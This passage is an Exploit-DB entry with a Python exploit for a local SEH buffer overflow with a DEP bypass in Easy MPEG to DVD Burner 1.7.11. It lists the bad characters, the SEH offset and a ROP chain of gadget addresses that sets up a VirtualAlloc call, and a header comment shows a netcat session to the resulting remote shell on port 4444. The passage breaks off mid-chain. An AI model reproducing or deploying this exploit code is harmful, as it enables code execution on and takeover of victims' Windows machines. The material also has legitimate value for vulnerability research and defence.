Exploit-DB #44658
Description: Easy MPEG to DVD Burner 1.7.11 - Local Buffer Overflow (SEH) (DEP Bypass)
Type: local
Platform: windows
Date: 2018-05-20
Author: Juan Prescotto

Exploit:
#!/usr/bin/python

#------------------------------------------------------------------------------------------------------------------------------------#
# Exploit: Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass Local Buffer Overflow                                                     #
# Date: 2018-05-19                                                                                                                   #
# Author: Juan Prescotto                                                                                                             #
# Tested Against: Win7 Pro SP1 64 bit                                                                                                #
# Software Download #1: https://downloads.tomsguide.com/MPEG-Easy-Burner,0301-10418.html                                             #
# Software Download #2: https://www.exploit-db.com/apps/32dc10d6e60ceb4d6e57052b6de3a0ba-easy_mpeg_to_dvd.exe                        #
# Version: 1.7.11                                                                                                                    #
# Special Thanks to my wife for allowing me spend countless hours on this passion of mine                                            #
# Credit: Thanks to Marwan Shamel (https://www.exploit-db.com/exploits/44565/) for his work on the original SEH exploit              #
# Steps : Open the APP > click on register > Username field > paste in contents from the .txt file that was generated by this script #
#------------------------------------------------------------------------------------------------------------------------------------#
# Bad Characers: \x00\x0a\x0d                                                                                                        #
# SEH Offset: 1012                                                                                                                   #
# Non-Participating Modules: SkinMagic.dll & Easy MPEG to DVD Burner.exe                                                             #
#------------------------------------------------------------------------------------------------------------------------------------#
# root@kali:~/Desktop# nc -nv 10.0.1.14 4444                                                                                         #
# (UNKNOWN) [10.0.1.14] 4444 (?) open                                                                                                #
# Microsoft Windows [Version 6.1.7601]                                                                                               #
# Copyright (c) 2009 Microsoft Corporation. All rights reserved.                                                                     #
#                                                                                                                                    #
# C:\Program Files (x86)\Easy MPEG to DVD Burner>                                                                                    #
#------------------------------------------------------------------------------------------------------------------------------------#

# My register setup when VirtualAlloc() is called (Defeat DEP) :
#--------------------------------------------
# EAX = Points to PUSHAD at time VirtualAlloc() is called (Stack Pivot jumps over it on return)
# ECX = flProtect (0x40)
# EDX = flAllocationType (0x1000)
# EBX = dwSize (0x01)
# ESP = lpAddress (automatic)
# EBP = ReturnTo (stack pivot into a rop nop / jmp esp)
# ESI = ptr to VirtualAlloc()
# EDI = ROP NOP (RETN)

import struct

def create_rop_chain():

    rop_gadgets = [
      #***START VirtualAlloc() to ESI***
      0x10027e6b,  # POP EAX # RETN [SkinMagic.dll] ** 
      0x1003b1d4,  # ptr to &VirtualAlloc() [IAT SkinMagic.dll]
      0x100369a1,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [SkinMagic.dll] 
      0x10032993,  # POP EBX # RETN [SkinMagic.dll] 
      0xffffffff,  #  
      0x10037bd3,  # INC EBX # FPATAN # RETN [SkinMagic.dll]
      0x10037bd3,  # INC EBX # FPATAN # RETN [SkinMagic.dll]
      0x10037bc0,  # POP EDX # RETN [SkinMagic.dll]
      0xffffffff,  #
      0x10035a07,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN [SkinMagic.dll]
      0x10037654,  # POP EAX # RETN [SkinMagic.dll] 
      0xa141dffb,  # 
      0x100317c8,  # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
      0x1003248d,  # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
      0x41414141,  # FILLER
      0x1003993e,  # PUSH EDX # ADD AL,5F # POP ESI # POP EBX # RETN 0x0C [SkinMagic.dll]
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      #***END VirtualAlloc() to ESI***

      #***START 0x40 to ECX***
      0x100185fb,  # XOR EAX,EAX # RETN [SkinMagic.dll]
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      0x41414141,  # FILLER  
      0x10037c5b,  # ADD EAX,40 # POP EBP # RETN [SkinMagic.dll]
      0x41414141,  # FILLER
      0x10032176,  # XCHG EAX,ECX # ADD EAX,20835910 # ADD BYTE PTR DS:[ECX+10059130],AH # MOV DWORD PTR DS:[1005912C],EAX # RETN [SkinMagic.dll]
      #***END 0x40 to ECX***

      #***START 0x1000 to EDX***
      0x10032993,  # POP EBX # RETN [SkinMagic.dll] 
      0xaaaaaaaa,  #
      0x10037bc0,  # POP EDX # RETN [SkinMagic.dll]
      0x55556556,  #
      0x10037654,  # POP EAX # RETN [SkinMagic.dll] 
      0xa141dffb,  # 
      0x100317c8,  # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
      0x1003248d,  # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
      0x41414141,  # FILLER
      #***END 0x1000 to EDX***